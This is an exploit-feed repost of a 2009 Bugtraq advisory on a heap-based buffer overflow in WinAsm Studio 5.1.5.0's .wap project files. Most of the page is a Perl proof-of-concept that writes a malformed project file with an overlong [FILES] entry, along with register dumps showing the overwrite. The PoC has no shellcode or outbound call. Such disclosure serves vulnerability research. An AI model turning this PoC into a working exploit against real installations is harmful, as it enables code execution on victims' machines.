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Feeds -
Exploits
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Written by Mountassif Moad
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Tuesday, 17 March 2009 21:42 |
WinAsm Studio '.wap' Project File Heap-Based Buffer Overflow Vulnerability
-\\Bugtraq ID:
34132
-\\Class:
Boundary Condition Error
-\\CVE:
-\\Remote:
Yes
-\\Local:
No
-\\Published:
Mar 16 2009 12:00AM
-\\Updated:
Mar 17 2009 06:36PM
-\\Credit:
Mountassif Moad
-\\Vulnerable:
Antonis Kyprianou WinAsm Studio 5.1.5 0
-\\Discussion
WinAsm Studio is prone to a heap-based buffer-overflow vulnerability because it fails to perform adequate checks
on user-supplied input.
Attackers may leverage this issue to execute arbitrary code in the context of the application. Failed attacks
will cause denial-of-service conditions.
WinAsm Studio 5.1.5.0 is vulnerable; other versions may also be affected.
-\\Exploit(s)/PoC(s):
The following proof-of-concept code is available:
===============================================================
34132.pl
^^^^^^^^^
# WinAsm Studio 5.1.5.0 Local Heap Overflow Poc
# By Mountassif Moad
# D0wnload : http://www.winasm.net/index.php?ind=downloads&op=download_file&ide=182&file=WinAsm515Full.zip
# Greatz : Simo-Soft - Skd - fl0 fl0w - Str0ke & By By milw0rm :d
#
# Registers
# EAX 00000001
# ECX 00000001
# EDX 0013F814
# EBX 42424242 ( EBX overwrited :d )
# ESP 0013FBDC
# EBP 0013FE3C
# ESI 0013FBF7
# EDI 0013FD2F ASCII "BBBBBBBBBB" (next chars in EDI :d )
# EIP 0040A927 WinAsm.0040A927
my $m=
"\x5B\x46\x49\x4C\x45\x53\x5D\x0D\x31\x3D".
"\x41" x 227 .
"\x42" x 4 .
"\x43" x 20 .
"\x0D\x5B\x50\x52".
"\x4F\x4A\x45\x43\x54\x5D\x0D\x54\x79\x70\x65\x3D\x0D\x52".
"\x65\x6C\x65\x61\x73\x65\x43\x6F\x6D\x6D\x61\x6E\x64\x4C\x69\x6E".
"\x65\x3D\x0D\x44\x65\x62\x75\x67\x43\x6F\x6D\x6D\x61\x6E\x64".
"\x4C\x69\x6E\x65\x3D\x0D\x41\x75\x74\x6F\x49\x6E\x63\x46\x69".
"\x6C\x65\x56\x65\x72\x73\x69\x6F\x6E\x3D\x30\x0D\x52\x43\x53".
"\x69\x6C\x65\x6E\x74\x3D\x30\x0D\x50\x65\x6C\x6C\x65\x73\x54".
"\x6F\x6F\x6C\x73\x3D\x30\x0D\x5B\x4D\x41\x4B\x45\x5D\x0D".
"\x41\x63\x74\x69\x76\x65\x42\x75\x69\x6C\x64\x3D\x30\x0D\x43".
"\x6F\x6D\x70\x69\x6C\x65\x52\x43\x3D\x0D\x52\x43\x54\x6F\x4F".
"\x62\x6A\x3D\x0D\x41\x73\x73\x65\x6D\x62\x6C\x65\x3D\x2F\x63".
"\x0D\x4C\x69\x6E\x6B\x3D\x0D\x4F\x75\x74\x3D\x0D\x44".
"\x65\x62\x41\x73\x73\x65\x6D\x62\x6C\x65\x3D\x2F\x63\x0D\x44".
"\x65\x62\x4C\x69\x6E\x6B\x3D\x0D\x44\x65\x62\x4F\x75\x74\x3D";
print $m;
print "\n";
print " ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n";
print " +++ WinAsm Studio 5.1.5.0 Local Heap Overflow Poc +++\n";
print " +++ Written By Stack +++\n";
print " +++ Usage Ex.: perl $0 >>Exploit.wap +++\n";
print " ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++\n";
exit;
-\\Solution
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of
more recent information, please mail us at:
This e-mail address is being protected from spambots. You need JavaScript enabled to view it
.
-\\References(s)
--WinAsm Studio Homepage
http://www.winasm.net (winasm.net)
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